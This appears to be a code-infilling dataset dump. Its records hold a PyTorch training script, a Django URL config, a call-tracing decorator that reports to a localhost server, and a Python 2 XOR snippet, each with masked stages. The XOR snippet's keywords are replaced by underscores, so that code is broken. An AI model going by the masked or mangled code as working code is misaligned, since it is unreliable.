= torch.optim.Adam(model.parameters(), lr=0.01) since = time.time() best_model_wts = copy.deepcopy(model.state_dict()) best_f = FScore() for epoch in range(num_epochs): print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr) print('-' * 10, file=sys.stderr) for phase in ['train', 'dev']: model.train(phase == 'train') running_loss = 0.0 running_f = FScore() for sentence in pb.progressbar(trainset.get_set(phase)): model.zero_grad() role_p = model(*sentence['inputs']) _, predict = torch.max(role_p, 1) loss = lossfunction(role_p, autograd.Variable(sentence['targets'][0])) if phase == 'train': loss.backward() optimizer.step() if epoch > 28: print(predict.data) print(sentence['targets'][0]) running_loss += loss.data[0] running_f.update(predict, sentence['targets'][0]) print('\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr) if phase == 'dev' and running_f > best_f: best_f = running_f best_model_wts = copy.deepcopy(model.state_dict()) print('', file=sys.stderr) time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format( time_elapsed // 60, time_elapsed % 60), file=sys.stderr) print('Best val F: {}s'.format(best_f), file=sys.stderr) model.load_state_dict(best_model_wts) return model if __name__ == '__main__': config.parse_args() torch.manual_seed(config.get_option('seed')) mode = config.get_option('mode') if mode == 'train': train() else: NotImplementedError()
flexible
{ "blob_id": "038ccba05113fb7f2f589eaa7345df53cb59a5af", "index": 18, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\n<mask token>\n", "step-3": "<mask token>\nconfig.add_option('-m', '--mode', dest='mode', default='train', type=\n 'string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help=\n 'torch random seed', action='store')\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n", "step-4": "import sys\nimport torch\nfrom torch import nn, autograd\nimport config\nimport time\nimport copy\nimport progressbar as pb\nfrom dataset import TrainDataSet\nfrom model import BiAffineSrlModel\nfrom fscore import FScore\nconfig.add_option('-m', '--mode', dest='mode', default='train', type=\n 'string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help=\n 'torch random seed', action='store')\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n", "step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport torch\nfrom torch import nn, autograd\nimport config\nimport time\nimport copy\nimport progressbar as pb\nfrom dataset import TrainDataSet\nfrom model import BiAffineSrlModel\nfrom fscore import FScore\n\nconfig.add_option('-m', '--mode', dest='mode', default='train', type='string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help='torch random seed', action='store')\n\ndef train(num_epochs = 30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence['targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr)\n\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
"""helloworld URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ https://docs.djangoproject.com/zh-hans/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ #example: # python3.0 from django.contrib import admin # 为何要用 path呢 from django.urls import path, include from django.conf.urls import url from . import view # 如何链接其他文件模块下的路径呢 # urlpatterns = [ # path('hello/', view.hello), # path('hello/<int:year>/', view.hello), # hello()中要有对应的参数 # path('ifor/', view.ifor), path('admin/', admin.site.urls), # path('blog/', blog.views.goodbye), # path('', include('blog.urls.py', namespace='blog')), # 错误 path('', include('blog.urls', namespace='blog')), # url(r'^hello/$', view.hello), url(r'^hello/([0-9]{4})/$', view.hello), url(r'^ifor/', view.ifor), # url(r'^blog/', 'blog.views.goodbye') # ] """ # python 2.7 from django.conf.urls import url from . import view urlpatterns = [ url(r'^$', view.hello), ] """
normal
{ "blob_id": "a470aad80e47b244811e4d9aed4a630ba36a8daf", "index": 4112, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [path('admin/', admin.site.urls), path('', include(\n 'blog.urls', namespace='blog')), url('^hello/([0-9]{4})/$', view.hello),\n url('^ifor/', view.ifor)]\n<mask token>\n", "step-3": "<mask token>\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls import url\nfrom . import view\nurlpatterns = [path('admin/', admin.site.urls), path('', include(\n 'blog.urls', namespace='blog')), url('^hello/([0-9]{4})/$', view.hello),\n url('^ifor/', view.ifor)]\n<mask token>\n", "step-4": "\"\"\"helloworld URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\n https://docs.djangoproject.com/zh-hans/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\n\"\"\"\n#example:\n\n# python3.0\nfrom django.contrib import admin\n\n# 为何要用 path呢\nfrom django.urls import path, include\n\nfrom django.conf.urls import url\n\nfrom . import view\n\n# 如何链接其他文件模块下的路径呢\n# \nurlpatterns = [\n\t# path('hello/', view.hello),\n \n # path('hello/<int:year>/', view.hello), # hello()中要有对应的参数\n\t# path('ifor/', view.ifor),\n path('admin/', admin.site.urls),\n # path('blog/', blog.views.goodbye),\n # path('', include('blog.urls.py', namespace='blog')), # 错误\n path('', include('blog.urls', namespace='blog')),\n # url(r'^hello/$', view.hello),\n url(r'^hello/([0-9]{4})/$', view.hello),\n url(r'^ifor/', view.ifor),\n # url(r'^blog/', 'blog.views.goodbye')\n # \n \n\n]\n\n\"\"\"\n# python 2.7\nfrom django.conf.urls import url\n \nfrom . import view\n \nurlpatterns = [\n url(r'^$', view.hello),\n]\n\"\"\"", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
___ findmissingnumberusingxor(myarray print "Given Array:", myarray #print "Len of the Array:", len(myarray) arraylen _ l..(myarray) xorval _ 0 #print "In the First loop" ___ i __ r..(1, arraylen + 2 #print xorval,"^",i,"is",xorval^i xorval _ xorval ^ i #print "In the Next loop" ___ i __ r..(0, arraylen #print xorval,"^",myarray[i],"is",xorval^myarray[i] xorval _ xorval ^ myarray[i] print "Missing number is ", xorval myarray _ [12, 8, 2, 1, 4, 6, 5, 7, 9, 3, 11] findmissingnumberusingxor(myarray)
normal
{ "blob_id": "892dd4259950c66669b21c5dbc7b738ddb5aa586", "index": 5734, "step-1": "\n___ findmissingnumberusingxor(myarray\n print \"Given Array:\", myarray\n #print \"Len of the Array:\", len(myarray)\n\tarraylen _ l..(myarray)\n\txorval _ 0\n #print \"In the First loop\"\n\t___ i __ r..(1, arraylen + 2\n #print xorval,\"^\",i,\"is\",xorval^i\n\t\txorval _ xorval ^ i\n #print \"In the Next loop\"\n\t___ i __ r..(0, arraylen\n #print xorval,\"^\",myarray[i],\"is\",xorval^myarray[i]\n\t\txorval _ xorval ^ myarray[i]\n\tprint \"Missing number is \", xorval\nmyarray _ [12, 8, 2, 1, 4, 6, 5, 7, 9, 3, 11]\nfindmissingnumberusingxor(myarray)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> class TracePoint: <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(','.join([cls, t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no, i in enumerate(TracePoint.flow[1:]): cls, t, func = i.split(',', 2) fcls, ft, ffunc = first.split(',', 2) fn = func.split('(')[0] ffn = ffunc.split('(')[0] label = '{l} -> {c}'.format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc, _ = self.get_color(cls, func) yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format( no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls, t, func = one.strip().split(',', 2) color, color_f = self.get_color(cls, func) fn = func.split('(')[0] tmp = ( '{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];' .format(func_name=fn, color=color, color_f=color_f, cls=cls, func=func)) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#') c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#') if len(c) < 4: c = c + '0' * (4 - len(c)) if len(c_f) < 4: c_f = c_f + '0' * (4 - len(c_f)) return c, c_f <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TracePoint: classes = [] funcs = [] flow = [] @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(','.join([cls, t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no, i in enumerate(TracePoint.flow[1:]): cls, t, func = i.split(',', 2) fcls, ft, ffunc = first.split(',', 2) fn = func.split('(')[0] ffn = ffunc.split('(')[0] label = '{l} -> {c}'.format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc, _ = self.get_color(cls, func) yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format( no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls, t, func = one.strip().split(',', 2) color, color_f = self.get_color(cls, func) fn = func.split('(')[0] tmp = ( '{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];' .format(func_name=fn, color=color, color_f=color_f, cls=cls, func=func)) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#') c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#') if len(c) < 4: c = c + '0' * (4 - len(c)) if len(c_f) < 4: c_f = c_f + '0' * (4 - len(c_f)) return c, c_f def __repr__(self): TEMP = """ digraph { /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */ node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] %s } """ fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow]) lcon = '\n\t'.join(self.render_flow()) return TEMP % (fcon + lcon) def trace(cls): def _func(func): @functools.wraps(func) def __run(*args, **kargs): print(func.__name__, args, '|', kargs) return func(*args, **kargs) return __run return _func <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TracePoint: classes = [] funcs = [] flow = [] @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(','.join([cls, t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no, i in enumerate(TracePoint.flow[1:]): cls, t, func = i.split(',', 2) fcls, ft, ffunc = first.split(',', 2) fn = func.split('(')[0] ffn = ffunc.split('(')[0] label = '{l} -> {c}'.format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc, _ = self.get_color(cls, func) yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format( no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls, t, func = one.strip().split(',', 2) color, color_f = self.get_color(cls, func) fn = func.split('(')[0] tmp = ( '{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];' .format(func_name=fn, color=color, color_f=color_f, cls=cls, func=func)) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#') c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#') if len(c) < 4: c = c + '0' * (4 - len(c)) if len(c_f) < 4: c_f = c_f + '0' * (4 - len(c_f)) return c, c_f def __repr__(self): TEMP = """ digraph { /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */ node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] %s } """ fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow]) lcon = '\n\t'.join(self.render_flow()) return TEMP % (fcon + lcon) def trace(cls): def _func(func): @functools.wraps(func) def __run(*args, **kargs): print(func.__name__, args, '|', kargs) return func(*args, **kargs) return __run return _func def trace_cls(method): def _trace_cls(cls): orig_getattribute = cls.__getattribute__ def new_getattribute(self, name): if name in cls.__dict__: f = getattr(cls, name) args = '(%s)' % ', '.join(f.__code__.co_varnames) t = str(time.time()) if 'http://' in method: requests.post('http://localhost:12222/', data={'class': cls.__name__, 'fun': name + args, 'time': t}) else: with open(method, 'a+') as fp: s = ','.join([cls.__name__, t, name + args]) fp.write(s + '\n') return orig_getattribute(self, name) cls.__getattribute__ = new_getattribute return cls return _trace_cls def main(): parser = argparse.ArgumentParser() parser.add_argument('-l', '--load', default=None, help='loadfile') parser.add_argument('--url', default='http://localhost:12222', help= 'debug server') args = parser.parse_args() with open(args.load) as fp: for l in fp: cls, t, func = l.strip().split(',', 2) requests.post(args.url, data={'class': cls, 'fun': func, 'time': t} ) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TracePoint: classes = [] funcs = [] flow = [] @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(','.join([cls, t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no, i in enumerate(TracePoint.flow[1:]): cls, t, func = i.split(',', 2) fcls, ft, ffunc = first.split(',', 2) fn = func.split('(')[0] ffn = ffunc.split('(')[0] label = '{l} -> {c}'.format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc, _ = self.get_color(cls, func) yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format( no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls, t, func = one.strip().split(',', 2) color, color_f = self.get_color(cls, func) fn = func.split('(')[0] tmp = ( '{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];' .format(func_name=fn, color=color, color_f=color_f, cls=cls, func=func)) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#') c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#') if len(c) < 4: c = c + '0' * (4 - len(c)) if len(c_f) < 4: c_f = c_f + '0' * (4 - len(c_f)) return c, c_f def __repr__(self): TEMP = """ digraph { /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */ node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] %s } """ fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow]) lcon = '\n\t'.join(self.render_flow()) return TEMP % (fcon + lcon) def trace(cls): def _func(func): @functools.wraps(func) def __run(*args, **kargs): print(func.__name__, args, '|', kargs) return func(*args, **kargs) return __run return _func def trace_cls(method): def _trace_cls(cls): orig_getattribute = cls.__getattribute__ def new_getattribute(self, name): if name in cls.__dict__: f = getattr(cls, name) args = '(%s)' % ', '.join(f.__code__.co_varnames) t = str(time.time()) if 'http://' in method: requests.post('http://localhost:12222/', data={'class': cls.__name__, 'fun': name + args, 'time': t}) else: with open(method, 'a+') as fp: s = ','.join([cls.__name__, t, name + args]) fp.write(s + '\n') return orig_getattribute(self, name) cls.__getattribute__ = new_getattribute return cls return _trace_cls def main(): parser = argparse.ArgumentParser() parser.add_argument('-l', '--load', default=None, help='loadfile') parser.add_argument('--url', default='http://localhost:12222', help= 'debug server') args = parser.parse_args() with open(args.load) as fp: for l in fp: cls, t, func = l.strip().split(',', 2) requests.post(args.url, data={'class': cls, 'fun': func, 'time': t} ) if __name__ == '__main__': main() <|reserved_special_token_1|> import functools import requests import time import argparse class TracePoint: classes = [] funcs = [] flow = [] @staticmethod def clear(): TracePoint.classes = [] TracePoint.funcs = [] TracePoint.flow = [] def __init__(self, cls, func, t): if cls not in TracePoint.classes: TracePoint.classes.append(cls) if cls not in TracePoint.funcs: TracePoint.funcs.append(func) TracePoint.flow.append(",".join([cls,t, func])) def render_flow(self): first = TracePoint.flow[0] recods = set() for no,i in enumerate(TracePoint.flow[1:]): cls,t, func = i.split(',',2) fcls,ft, ffunc = first.split(',', 2) fn = func.split("(")[0] ffn = ffunc.split("(")[0] label = "{l} -> {c}".format(l=ffn, c=fn) if label in recods: continue recods.add(label) lc,_ = self.get_color(cls, func) yield """{l} -> {c} [label="<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];""".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc) first = i def render_var(self, one): cls,t, func = one.strip().split(",", 2) color, color_f = self.get_color(cls, func) fn = func.split("(")[0] tmp = """{func_name} [labelType="html" label="<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>"];""".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func) return tmp def get_color(self, cls, func): base = 4096 // len(TracePoint.classes) base_f = 4096 // len(TracePoint.funcs) c = hex(base * TracePoint.classes.index(cls)).replace("0x", "#") c_f = hex(base_f * TracePoint.funcs.index(func)).replace("0x", "#") if len(c) < 4: c = c + '0'* (4- len(c)) if len(c_f) < 4: c_f = c_f + '0'* (4- len(c_f)) return c,c_f def __repr__(self): TEMP = """ digraph { /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */ node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"] %s } """ fcon = "\n\t".join([self.render_var(i) for i in TracePoint.flow]) lcon = "\n\t".join(self.render_flow()) return TEMP % (fcon + lcon) def trace(cls): def _func(func): @functools.wraps(func) def __run(*args, **kargs): print(func.__name__, args,"|" ,kargs) return func(*args, **kargs) return __run return _func def trace_cls(method): def _trace_cls(cls): # Get the original implementation orig_getattribute = cls.__getattribute__ # Make a new definition def new_getattribute(self, name): if name in cls.__dict__: f = getattr(cls, name) args = "(%s)" % ', '.join(f.__code__.co_varnames) t = str(time.time()) if "http://" in method: requests.post("http://localhost:12222/", data={ 'class':cls.__name__, 'fun':name + args, 'time':t, }) else: with open(method, "a+") as fp: s = ",".join([cls.__name__,t,name + args]) fp.write(s + "\n") return orig_getattribute(self, name) # Attach to the class and return cls.__getattribute__ = new_getattribute return cls return _trace_cls def main(): parser = argparse.ArgumentParser() parser.add_argument("-l","--load",default=None,help="loadfile") parser.add_argument("--url", default='http://localhost:12222',help="debug server") args = parser.parse_args() with open(args.load) as fp: for l in fp: cls, t, func = l.strip().split(',', 2) requests.post(args.url, data={ 'class':cls, 'fun':func, 'time':t, }) if __name__ == '__main__': main()
flexible
{ "blob_id": "80bf208f1d658b639d650af8208a744ed2dd258f", "index": 9355, "step-1": "<mask token>\n\n\nclass TracePoint:\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 